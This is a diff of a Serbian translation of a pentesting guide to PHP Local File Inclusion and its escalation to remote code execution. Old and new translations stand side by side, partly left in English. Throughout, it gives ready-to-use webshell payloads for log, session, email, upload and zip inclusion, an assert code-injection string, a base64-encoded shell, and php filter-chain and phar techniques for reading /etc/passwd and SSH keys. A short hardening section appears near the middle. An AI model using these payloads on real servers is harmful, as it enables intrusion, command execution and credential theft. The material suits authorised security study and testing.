+- `convert.iconv.*` : Transformiše u drugo enkodiranje(`convert.iconv.<input_enc>.<output_enc>`). Da biste dobili **listu svih enkodiranja** koja su podržana, pokrenite u konzoli: `iconv -l`

 > [!WARNING]
-> Zlouporabom `convert.iconv.*` konverzionog filtera možete **generisati proizvoljan tekst**, što može biti korisno za upis proizvoljnog teksta ili da naterate funkciju poput include da procesuira proizvoljan tekst. Za više informacija pogledajte [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
+> Zloupotrebom `convert.iconv.*` konverzionog filtera možete **generisati proizvoljan tekst**, što može biti korisno za upis proizvoljnog teksta ili da naterate funkciju kao include da obradi proizvoljan tekst. Za više informacija pogledajte [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).

 - [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Kompresuje sadržaj (korisno ako eksfiltrirate mnogo informacija)
- `zlib.inflate`: Dekompresuje podatke
+- `zlib.deflate`: Kompresuje sadržaj (korisno ako ekstrafluirate mnogo informacija)
+- `zlib.inflate`: Dekomprimiše podatke
 - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Zastarjelo
- `mdecrypt.*` : Zastarjelo
+- `mcrypt.*` : Deprecated
+- `mdecrypt.*` : Deprecated
 - Ostali filteri
- Pokretanjem u php `var_dump(stream_get_filters());` možete pronaći nekoliko **neočekivanih filtera**:
+- Pokretanjem u php `var_dump(stream_get_filters());` možete pronaći par **neočekivanih filtera**:
 - `consumed`
- `dechunk`: poništava HTTP chunked enkodiranje
+- `dechunk`: poništava HTTP chunked encoding
 - `convert.*`
 ```php
 # String Filters
@ -271,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
 # note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
 ```
 > [!WARNING]
-> Deo "php://filter" nije osetljiv na velika i mala slova
+> Deo "php://filter" nije osetljiv na velika/mala slova

 ### Korišćenje php filters kao oracle za čitanje proizvoljnih fajlova

-[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) predložen je metod za čitanje lokalnog fajla bez vraćanja output-a sa servera. Ovaj metod se zasniva na **boolean exfiltration of the file (char by char) using php filters** kao oracle. Razlog je što php filters mogu da se iskoriste da uvećaju tekst dovoljno da php baci izuzetak.
+[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) predlaže tehniku za čitanje lokalnog fajla bez vraćanja sadržaja od servera. Tehnika se zasniva na **boolean exfiltration of the file (char by char) using php filters** kao oracle. To je zato što se php filters mogu iskoristiti da tekst postane dovoljno veliki da php baci izuzetak.

-U originalnom postu možete naći detaljno objašnjenje tehnike, ali evo kratkog rezimea:
+U originalnom postu možete naći detaljno objašnjenje tehnike, ali ovde je kratak rezime:

- Koristite codec **`UCS-4LE`** da ostavite vodeći karakter teksta na početku i da veličina stringa raste eksponencijalno.
- Ovo će se koristiti da se generiše **tekst koji je toliko veliki kada je početno slovo tačno pogođeno** da će php pokrenuti **error**.
- Filter **dechunk** će **ukloniti sve ako prvi karakter nije hexadecimal**, pa možemo znati da li je prvi karakter hex.
- Ovo, u kombinaciji sa prethodnim (i drugim filterima zavisno od pogođenog slova), će nam omogućiti da pogodimo slovo na početku teksta tako što ćemo pratiti kada uradimo dovoljan broj transformacija da ono prestane biti hexadecimal karakter. Jer ako je hex, dechunk ga neće obrisati i početna bomba će izazvati php error.
- Codec **convert.iconv.UNICODE.CP930** transformiše svako slovo u sledeće (npr. nakon ovog codec-a: a -> b). Ovo nam omogućava da otkrijemo da li je početno slovo, na primer, `a` jer ako primenimo 6 puta ovaj codec a->b->c->d->e->f->g, slovo više nije hexadecimal karakter, zato ga dechunk ne obriše i php error se pokreće jer se množi sa početnom bombom.
- Korišćenjem drugih transformacija kao što je **rot13** na početku moguće je leak drugih karaktera kao n, o, p, q, r (i drugi codec-i mogu da se koriste da pomere druga slova u hex opseg).
- Kada je početni karakter broj, potrebno je base64 enkodovati i leak prva 2 slova da leak broj.
- Konačni problem je kako leak više od početnog slova. Korišćenjem order memory filtera kao **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** moguće je promeniti redosled karaktera i dovesti u prvu poziciju druga slova iz teksta.
- I da bi se dobili dalji podaci, ideja je da se **generišu 2 bajta junk podataka na početku** sa **convert.iconv.UTF16.UTF16**, primeni **UCS-4LE** da se pivotira sa naredna 2 bajta, i d**elete the data until the junk data** (ovo će ukloniti prva 2 bajta početnog teksta). Nastavite ovo dok ne dođete do željenog bita za leak.
+- Koristite codec **`UCS-4LE`** da ostavite vodeći karakter teksta na početku i učinite da se veličina stringa eksponencijalno poraste.
+- Ovo će se koristiti da se generiše **text so big when the initial letter is guessed correctly** da php pokrene **error**.
+- Filter **dechunk** će **remove everything if the first char is not an hexadecimal**, pa možemo znati da li je prvi karakter hex.
+- Ovo, u kombinaciji sa prethodnim (i drugim filterima u zavisnosti od pogađanog slova), će nam omogućiti da pogodimo slovo na početku teksta tako što ćemo videti kada uradimo dovoljno transformacija da ono prestane biti heksadecimalni karakter. Jer ako je hex, dechunk ga neće obrisati i inicijalna bomba će izazvati php error.
+- Codec **convert.iconv.UNICODE.CP930** transformiše svako slovo u sledeće (tako da posle ovog codec-a: a -> b). Ovo nam omogućava da otkrijemo da li je prvi karakter na primer `a` jer ako primenimo 6 puta ovaj codec a->b->c->d->e->f->g, slovo više nije heksadecimalni karakter, te dechunk ga neće obrisati i php error će biti pokrenut zato što se množi sa inicijalnom bombom.
+- Korišćenjem drugih transformacija kao što je **rot13** na početku moguće je leak-ovati druga slova kao n, o, p, q, r (i drugi codecs se mogu koristiti da pomere druga slova u hex opseg).
+- Kada je početni karakter broj, potrebno ga je base64 encode-ovati i leak-ovati prva 2 slova da bi se otkrio broj.
+- Krajnji problem je videti **how to leak more than the initial letter**. Korišćenjem order memory filtera kao što su **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** moguće je promeniti redosled karaktera i dovesti u prvu poziciju druga slova iz teksta.
+- I da bi se omogućilo dobijanje **further data** ideja je da se **generate 2 bytes of junk data at the beginning** sa **convert.iconv.UTF16.UTF16**, primeni **UCS-4LE** da se ono **pivot with the next 2 bytes**, i d**elete the data until the junk data** (ovo će ukloniti prva 2 bajta inicijalnog teksta). Nastaviti dok ne stignete do željenog bita za leak.

-U postu je takođe predstavljen alat za automatsko izvođenje: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
+U postu je takođe objavljen alat za automatsko izvođenje: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).

 ### php://fd

-Ovaj wrapper omogućava pristup file descriptor-ima koje proces ima otvorene. Potencijalno koristan za izvlačenje sadržaja otvorenih fajlova:
+Ovaj wrapper omogućava pristup file descriptors koje proces ima otvorene. Potencijalno korisno za exfiltrate sadržaj otvorenih fajlova:
 ```php
 echo file_get_contents("php://fd/3");
 $myfile = fopen("/etc/passwd", "r");
 ```
-Takođe možete koristiti **php://stdin, php://stdout and php://stderr** da pristupite **file descriptors 0, 1 and 2** respektivno (nisam siguran kako bi ovo moglo biti korisno u napadu)
+Takođe možete koristiti **php://stdin, php://stdout and php://stderr** da pristupite **file descriptors 0, 1 and 2** redom (nisam siguran kako bi ovo moglo biti korisno u napadu)

 ### zip:// and rar://

-Otpremite Zip ili Rar fajl sa PHPShell unutar i pristupite mu.\
-Da biste mogli zloupotrebiti rar protocol, on **mora biti posebno aktiviran**.
+Otpremite Zip ili Rar fajl koji sadrži PHPShell i pristupite mu.\
+Da biste mogli zloupotrebiti rar protocol on **mora biti posebno aktiviran**.
 ```bash
 echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
 zip payload.zip payload.php;
@ -345,7 +345,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
 ```
 ### phar://

-Datoteka `.phar` može se iskoristiti za izvršavanje PHP koda kada web aplikacija koristi funkcije poput `include` za učitavanje fajlova. Sledeći PHP primer prikazuje kreiranje `.phar` datoteke:
+`.phar` fajl se može iskoristiti za izvršavanje PHP koda kada web aplikacija koristi funkcije kao što je `include` za učitavanje fajlova. PHP kod ispod prikazuje kreiranje `.phar` fajla:
 ```php
 <?php
 $phar = new Phar('test.phar');
@ -358,9 +358,9 @@ Da biste kompajlirali `.phar` fajl, izvršite sledeću komandu:
 ```bash
 php --define phar.readonly=0 create_path.php
 ```
-Po izvršenju biće kreiran fajl nazvan `test.phar`, koji bi potencijalno mogao biti iskorišćen za eksploataciju Local File Inclusion (LFI) ranjivosti.
+Po izvršenju, biće kreirana datoteka nazvana `test.phar`, koja se potencijalno može iskoristiti za eksploatisanje Local File Inclusion (LFI) ranjivosti.

-U slučajevima kada LFI samo čita fajl bez izvršavanja PHP koda unutar njega — preko funkcija kao što su `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ili `filesize()` — može se pokušati eksploatisanje deserialization vulnerability. Ova ranjivost je povezana sa čitanjem fajlova korišćenjem `phar` protokola.
+U slučajevima kada LFI samo čita fajl bez izvršavanja PHP koda unutar njega, kroz funkcije kao što su `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ili `filesize()`, moguće je pokušati eksploatisanje deserialization ranjivosti. Ova ranjivost je povezana sa čitanjem fajlova korišćenjem `phar` protokola.

 For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:

@ -373,32 +373,32 @@ phar-deserialization.md

 ### CVE-2024-2961

-Bilo je moguće zloupotrebiti **any arbitrary file read from PHP that supports php filters** da bi se dobio RCE. Detaljan opis može biti [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
-Veoma kratak rezime: a **3 byte overflow** u PHP heap-u je iskorišćen da bi se **alter the chain of free chunks** određene veličine kako bi bilo moguće **write anything in any address**, pa je dodat hook koji poziva **`system`**.\
-Bilo je moguće alocirati chunk-ove specifičnih veličina zloupotrebom više php filters.
+Bio je moguć zloupotreba **any arbitrary file read from PHP that supports php filters** da se dobije RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
+Vrlo kratak rezime: a **3 byte overflow** u PHP heap-u je zloupotrebljen da bi se izmenio lanac slobodnih chunk-ova određene veličine kako bi se moglo **write anything in any address**, pa je dodat hook koji poziva **`system`**.\
+Bilo je moguće alocirati chunk-ove specifičnih veličina zloupotrebljavajući više php filtera.

-### Više protokola
+### More protocols

-Pogledajte više mogućih[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
+Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**

- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Upis u memoriju ili u privremeni fajl (nije sigurno kako ovo može biti korisno u file inclusion attack)
+- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Upis u memoriju ili u privremeni fajl (nije sigurno kako ovo može biti korisno u file inclusion napadu)
 - [file://](https://www.php.net/manual/en/wrappers.file.php) — Pristup lokalnom fajl sistemu
 - [http://](https://www.php.net/manual/en/wrappers.http.php) — Pristup HTTP(s) URL-ovima
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Pristup FTP(s) URL-ovima
+- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Pristup FTP URL-ovima
 - [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Kompresioni tokovi
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Pronalazi putanje koje odgovaraju obrascu (Ne vraća ništa čitljivo, tako da nije baš korisno ovde)
+- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Pronalazi putanje koje odgovaraju šablonu (ne vraća ništa ispisivo, tako da nije naročito korisno ovde)
 - [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio tokovi (Nije korisno za čitanje proizvoljnih fajlova)
+- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio tokovi (nije korisno za čitanje proizvoljnih fajlova)

-## LFI preko PHP-ove 'assert'
+## LFI via PHP's 'assert'

-Rizici od Local File Inclusion (LFI) u PHP-u su naročito visoki kada se radi sa funkcijom 'assert', koja može izvršavati kod unutar stringova. Ovo je posebno problematično ako se ulaz koji sadrži karaktere za directory traversal kao što su ".." proverava, ali nije pravilno sanitizovan.
+Rizik od Local File Inclusion (LFI) u PHP-u je naročito visok kada je u pitanju funkcija 'assert', koja može izvršavati kod unutar stringova. To je posebno problematično ako se ulaz koji sadrži karaktere za directory traversal kao što su ".." proverava ali nije pravilno sanitizovan.

-Na primer, PHP kod može biti dizajniran da spreči directory traversal na sledeći način:
+For example, PHP code might be designed to prevent directory traversal like so:
 ```bash
 assert("strpos('$file', '..') === false") or die("");
 ```
-Iako je ovo namenjeno da zaustavi traversal, to nenamerno stvara vektor za code injection. Da bi iskoristio ovo za čitanje sadržaja datoteke, napadač bi mogao da koristi:
+Iako je ovo namenjeno da zaustavi traversal, to nehotice stvara vektor za code injection. Da bi iskoristio ovo za čitanje sadržaja fajla, napadač bi mogao koristiti:
 ```plaintext
 ' and die(highlight_file('/etc/passwd')) or '
 ```
@ -406,41 +406,41 @@ Slično tome, za izvršavanje proizvoljnih sistemskih komandi, može se koristit
 ```plaintext
 ' and die(system("id")) or '
 ```
-Važno je **URL-encode these payloads**.
+It's important to **URL-encode these payloads**.

 ## PHP Blind Path Traversal

 > [!WARNING]
-> Ova tehnika je relevantna u slučajevima kada vi **kontrolišete** **file path** neke **PHP function** koja će **access a file**, ali nećete videti sadržaj fajla (npr. jednostavan poziv **`file()`**), odnosno sadržaj nije prikazan.
+> Ova tehnika je relevantna u slučajevima kada vi **kontrolišete** **putanju fajla** PHP funkcije koja će **pristupiti fajlu**, ali nećete videti sadržaj fajla (npr. jednostavan poziv **`file()`**) i sadržaj se ne prikazuje.

-U [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) je objašnjeno kako se blind path traversal može zloupotrebiti putem PHP filtera da bi se **exfiltrate the content of a file via an error oracle**.
+In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.

-Ukratko, tehnika koristi **"UCS-4LE" encoding** da bi sadržaj fajla bio toliko **velik** da će **PHP funkcija koja otvara** fajl izazvati **error**.
+Kao rezime, tehnika koristi **"UCS-4LE" encoding** da sadržaj fajla učini toliko **velikim** da će **PHP funkcija koja otvara** fajl izazvati **error**.

-Zatim, da bi se leakovao prvi karakter koristi se filter **`dechunk`** zajedno sa drugim kao što su **base64** ili **rot13**, i na kraju se koriste filteri **convert.iconv.UCS-4.UCS-4LE** i **convert.iconv.UTF16.UTF-16BE** da bi se postavili drugi karakteri na početak i leak them.
+Zatim, da bi se leak the first char koristi se filter **`dechunk`** zajedno sa drugim kao što su **base64** ili **rot13**, i na kraju se koriste filteri **convert.iconv.UCS-4.UCS-4LE** i **convert.iconv.UTF16.UTF-16BE** da postave druge chars na početak i leak.

-**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
+**Funkcije koje mogu biti ranjive**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`

-For the technical details check the mentioned post!
+Za tehničke detalje pogledajte pomenuti post!

 ## LFI2RCE

 ### Arbitrary File Write via Path Traversal (Webshell RCE)

-Kada server-side kod koji prihvata/uploaduje fajlove gradi destinacionu putanju koristeći korisnički kontrolisane podatke (npr. filename ili URL) bez canonicalising i validacije, `..` segmenti i absolute paths mogu pobjeći iz predviđenog direktorijuma i izazvati arbitrary file write. Ako možete postaviti payload ispod web-exposed directory, obično dobijate unauthenticated RCE tako što postavite webshell.
+Kada server-side kod koji prihvata/uploaduje fajlove gradi destinacionu putanju koristeći korisnički kontrolisane podatke (npr. filename ili URL) bez canonicalising i validacije, `..` segmenata i apsolutne putanje mogu pobeći iz nameravane direktorijumske strukture i prouzrokovati arbitrary file write. Ako možete postaviti payload u direktorijum eksponiran na webu, obično dobijate unauthenticated RCE tako što postavite webshell.

-Typical exploitation workflow:
- Identify a write primitive u nekom endpointu ili background workeru koji prihvata path/filename i upisuje sadržaj na disk (npr. message-driven ingestion, XML/JSON command handlers, ZIP extractors, itd.).
- Determine web-exposed directories. Common examples:
+Tipični tok eksploatacije:
+- Identifikujte write primitive u endpointu ili background workeru koji prihvata path/filename i upisuje sadržaj na disk (npr. message-driven ingestion, XML/JSON command handlers, ZIP extractors, itd.).
+- Odredite direktorijume koji su izloženi webu. Uobičajeni primeri:
 - Apache/PHP: `/var/www/html/`
 - Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
 - IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- Craft a traversal path koji izlazi iz predviđenog storage direktorijuma u webroot, i uključite sadržaj vašeg webshell-a.
- Browse to the dropped payload i izvršite komande.
+- Napravite traversal path koji izlazi iz predviđenog storage direktorijuma u webroot, i uključite sadržaj vašeg webshell-a.
+- Otvorite u browseru postavljeni payload i izvršavajte komande.

-Notes:
- Usluga koja vrši zapisivanje može slušati na non-HTTP portu (npr. JMF XML listener on TCP 4004). Glavni web portal (na drugom portu) će kasnije servirati vaš payload.
- Na Java stack-ovima, ova zapisivanja fajlova se često implementiraju prostom `File`/`Paths` konkatenacijom. Nedostatak canonicalisation/allow-listing je osnovni flaw.
+Napomene:
+- Ranljiva usluga koja vrši zapis može slušati na non-HTTP portu (npr. JMF XML listener na TCP 4004). Glavni web portal (na drugom portu) će kasnije servirati vaš payload.
+- Na Java stack-ovima, ovi file write-ovi su često implementirani prostom `File`/`Paths` konkatenacijom. Nedostatak canonicalisation/allow-listing je osnovni propust.

 Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
 ```xml
@ -466,26 +466,26 @@ in.transferTo(out);
 </Command>
 </JMF>
 ```
-Ojačavanje koje onemogućava ovu klasu ranjivosti:
- Rešavajte putanju do kanoničkog oblika i osigurajte da je potomak osnovnog direktorijuma sa liste dozvoljenih.
- Odbacite svaku putanju koja sadrži `..`, apsolutne root putanje ili slova drajva; radije koristite generisane nazive fajlova.
- Pokrenite proces pisanja kao nalog sa malim privilegijama i odvojite direktorijume za pisanje od direktorijuma koji se serviraju.
+Hardening that defeats this class of bugs:
+- Razrešite putanju do canonical path-a i osigurajte da je potomak allow-listed osnovnog direktorijuma.
+- Odbacite svaku putanju koja sadrži `..`, apsolutne root-ove, ili slova drajva; preferirajte generated filenames.
+- Pokrenite writer pod low-privileged nalogom i segregirajte write direktorijume od served roots.

 ## Remote File Inclusion

-Objašnjeno ranije, [**follow this link**](#remote-file-inclusion).
+Objašnjeno ranije, [**pratite ovaj link**](#remote-file-inclusion).

-### Preko Apache/Nginx log fajla
+### Korišćenjem Apache/Nginx log fajla

-Ako je Apache ili Nginx server **vulnerable to LFI** unutar include funkcije, možete pokušati pristupiti **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, ubaciti u **user agent** ili u **GET parameter** php shell kao **`<?php system($_GET['c']); ?>`** i uključiti taj fajl
+Ako je Apache ili Nginx server **ranjiv na LFI** unutar include funkcije možete pokušati da pristupite **`/var/log/apache2/access.log` ili `/var/log/nginx/access.log`**, postavite u **user agent** ili u **GET parameter** php shell kao **`<?php system($_GET['c']); ?>`** i include-ujete taj fajl

 > [!WARNING]
-> Imajte u vidu da **ako koristite dvostruke navodnike** za shell umesto **jednostrukih navodnika**, dvostruki navodnici će biti promenjeni u string "_**quote;**_", **PHP će baciti grešku** i **ništa drugo neće biti izvršeno**.
+> Imajte na umu da **ako koristite dvostruke navodnike** za shell umesto **jednostrukih navodnika**, dvostruki navodnici će biti izmenjeni za string "_**quote;**_", **PHP će baciti grešku** tamo i **ništa drugo neće biti izvršeno**.
 >
-> Takođe, uverite se da ste **ispravno napisali payload** ili će PHP prijavljivati grešku svaki put kada pokuša da učita log fajl i nećete imati drugu priliku.
+> Takođe, pobrinite se da **ispravno napišete payload** ili će PHP prijavljivati grešku svaki put kad pokuša da učita log fajl i nećete imati drugu priliku.

-Ovo se može uraditi i u drugim logovima ali **budite oprezni,** kod unutar logova može biti URL encoded i to može uništiti Shell. Header **authorisation "basic"** sadrži "user:password" u Base64 i dekodira se unutar logova. PHPShell se može ubaciti unutar ovog headera.\
-Ostale moguće lokacije log fajlova:
+Ovo se može uraditi i u drugim logovima ali **budite oprezni,** kod unutar logova može biti URL enkodiran i to može uništiti Shell. Header **authorisation "basic"** sadrži "user:password" u Base64 i on se dekodira unutar logova. PHPShell može biti ubacen u ovaj header.\
+Ostale moguće putanje logova:
 ```python
 /var/log/apache2/access.log
 /var/log/apache/access.log
@ -499,121 +499,121 @@ Ostale moguće lokacije log fajlova:
 ```
 Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)

-### Putem Email-a
+### Preko Emaila

-**Pošaljite mejl** na interni nalog (user@localhost) koji sadrži vaš PHP payload poput `<?php echo system($_REQUEST["cmd"]); ?>` i pokušajte da uključite mejl korisnika sa putanjom kao **`/var/mail/<USERNAME>`** ili **`/var/spool/mail/<USERNAME>`**
+**Send a mail** na internu adresu (user@localhost) koja sadrži vaš PHP payload kao `<?php echo system($_REQUEST["cmd"]); ?>` i pokušajte da include-ujete mejl korisnika sa putanjom kao **`/var/mail/<USERNAME>`** ili **`/var/spool/mail/<USERNAME>`**

-### Putem /proc/*/fd/*
+### Preko /proc/*/fd/*

-1. Otpremite veliki broj shells (na primer: 100)
-2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), sa $PID = PID procesa (može se brute forced) i $FD = file descriptor (može se brute forced takođe)
+1. Upload mnogo shells (na primer: 100)
+2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), gde je $PID PID procesa (može se brute force-ovati) a $FD file descriptor (takođe se može brute force-ovati)

-### Putem /proc/self/environ
+### Preko /proc/self/environ

-Kao kod log fajla, pošaljite payload u User-Agent, biće reflektovano unutar fajla /proc/self/environ
+Kao kod log fajla, pošaljite payload u User-Agent, biće reflektovan unutar fajla /proc/self/environ
 ```
 GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
 User-Agent: <?=phpinfo(); ?>
 ```
-### Putem otpremanja
+### Putem uploada

-Ako možete otpremiti fajl, samo ubacite shell payload u njega (npr: `<?php system($_GET['c']); ?>` ).
+Ako možete da upload-ujete fajl, samo ubacite shell payload u njega (npr: `<?php system($_GET['c']); ?>`).
 ```
 http://example.com/index.php?page=path/to/uploaded/file.png
 ```
-Da bi fajl ostao čitljiv, najbolje je ubaciti u metapodatke slika/doc/pdf
+Da bi fajl ostao čitljiv, najbolje je ubaciti u metapodatke slika/dokumenata/PDF

-### Putem Zip file upload
+### Putem ZIP upload-a

 Otpremite ZIP fajl koji sadrži kompresovani PHP shell i pristupite:
 ```python
 example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
 ```
-### Putem PHP sessions
+### Kroz PHP sessions

 Proverite da li sajt koristi PHP Session (PHPSESSID)
 ```
 Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
 Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
 ```
-U PHP ove sesije se čuvaju u _/var/lib/php5/sess\\_\[PHPSESSID]\_ fajlovima
+U PHP-u ove sesije se čuvaju u _/var/lib/php5/sess\\_\[PHPSESSID]\_ fajlovima
 ```
 /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
 user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
 ```
-Postavi cookie na `<?php system('cat /etc/passwd');?>`
+Postavite cookie na `<?php system('cat /etc/passwd');?>`
 ```
 login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
 ```
-Iskoristite LFI da uključite PHP sesijsku datoteku
+Iskoristi LFI da uključiš PHP session fajl
 ```
 login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
 ```
 ### Preko ssh

-Ako je ssh aktivan, proveri koji korisnik se koristi (/proc/self/status & /etc/passwd) i probaj da pristupiš **\<HOME>/.ssh/id_rsa**
+Ako je ssh aktivan, proverite koji korisnik se koristi (/proc/self/status & /etc/passwd) i pokušajte da pristupite **\<HOME>/.ssh/id_rsa**

-### **Preko** **vsftpd** _**logova**_
+### **Preko** **vsftpd** _**logs**_

-Logovi za FTP server vsftpd se nalaze na _**/var/log/vsftpd.log**_. U scenariju gde postoji Local File Inclusion (LFI) ranjivost i gde je pristup izloženom vsftpd serveru moguć, mogu se razmotriti sledeći koraci:
+Logovi FTP servera vsftpd se nalaze u _**/var/log/vsftpd.log**_. U scenariju gde postoji Local File Inclusion (LFI) ranjivost, i pristup izloženom vsftpd serveru je moguć, sledeći koraci se mogu razmotriti:

-1. Ubaci PHP payload u polje za korisničko ime tokom procesa prijave.
-2. Nakon injekcije, iskoristi LFI da preuzmeš server logove sa _**/var/log/vsftpd.log**_.
+1. Inject a PHP payload into the username field during the login process.
+2. Post injection, utilize the LFI to retrieve the server logs from _**/var/log/vsftpd.log**_.

-### Preko php base64 filter (korišćenjem base64)
+### Via php base64 filter (using base64)

-Kao što je prikazano u [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) članku, PHP base64 filter jednostavno ignoriše Non-base64. To možeš iskoristiti da zaobiđeš proveru ekstenzije fajla: ako dostaviš base64 koji se završava sa ".php", filter će jednostavno ignorisati "." i dodati "php" na base64. Evo primera payload:
+Kao što je prikazano u [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64. Možete to iskoristiti da zaobiđete proveru ekstenzije fajla: ako pošaljete base64 koji se završava sa ".php", filter će jednostavno ignorisati "." i pripojiti "php" base64-u. Evo primera payload-a:
 ```url
 http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

 NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
 ```
-### Putem php filters (nije potreban fajl)
+### Preko php filters (nije potreban fajl)

-This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) objašnjava da možete koristiti **php filters to generate arbitrary content** kao izlaz. Što u suštini znači da možete **generate arbitrary php code** za include **without needing to write** u fajl.
+This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)objašnjava da možete koristiti **php filters da generišete proizvoljan sadržaj** kao izlaz. Što u suštini znači da možete **generisati proizvoljan php code** za include **bez potrebe da ga upisujete** u fajl.


 {{#ref}}
 lfi2rce-via-php-filters.md
 {{#endref}}

-### Putem segmentation fault
+### Preko segmentation fault

-**Upload** fajl koji će biti sačuvan kao **temporary** u `/tmp`, zatim u **istom requestu** izazovite **segmentation fault**, i onda **temporary file won't be deleted** pa ga možete potražiti.
+**Otpremite** fajl koji će biti sačuvan kao **temporary** u `/tmp`, zatim u **istom zahtevu,** izazovite **segmentation fault**, i tada **privremeni fajl se neće obrisati** i možete ga potražiti.


 {{#ref}}
 lfi2rce-via-segmentation-fault.md
 {{#endref}}

-### Putem Nginx temp file storage
+### Preko Nginx temp file storage

-Ako ste pronašli **Local File Inclusion** i **Nginx** radi ispred PHP-a, možda možete dobiti RCE koristeći sledeću tehniku:
+If you found a **Local File Inclusion** and **Nginx** is running in front of PHP you might be able to obtain RCE with the following technique:


 {{#ref}}
 lfi2rce-via-nginx-temp-files.md
 {{#endref}}

-### Putem PHP_SESSION_UPLOAD_PROGRESS
+### Preko PHP_SESSION_UPLOAD_PROGRESS

-Ako ste pronašli **Local File Inclusion** čak i ako **don't have a session** i `session.auto_start` je `Off`. Ako pošaljete **`PHP_SESSION_UPLOAD_PROGRESS`** u **multipart POST** podacima, PHP će **enable the session for you**. Ovo možete zloupotrebiti da dobijete RCE:
+Ako ste otkrili **Local File Inclusion** čak i ako **nemate sesiju** i `session.auto_start` je `Off`. Ako pošaljete **`PHP_SESSION_UPLOAD_PROGRESS`** u **multipart POST** podacima, PHP će **omogućiti sesiju za vas**. Ovo možete zloupotrebiti da dobijete RCE:


 {{#ref}}
 via-php_session_upload_progress.md
 {{#endref}}

-### Putem temp file uploads u Windows
+### Preko temp file uploads u Windows

-Ako ste pronašli **Local File Inclusion** i server radi na **Windows**, možda možete dobiti RCE:
+Ako ste otkrili **Local File Inclusion** i server radi na **Windows**, možda ćete dobiti **RCE**:


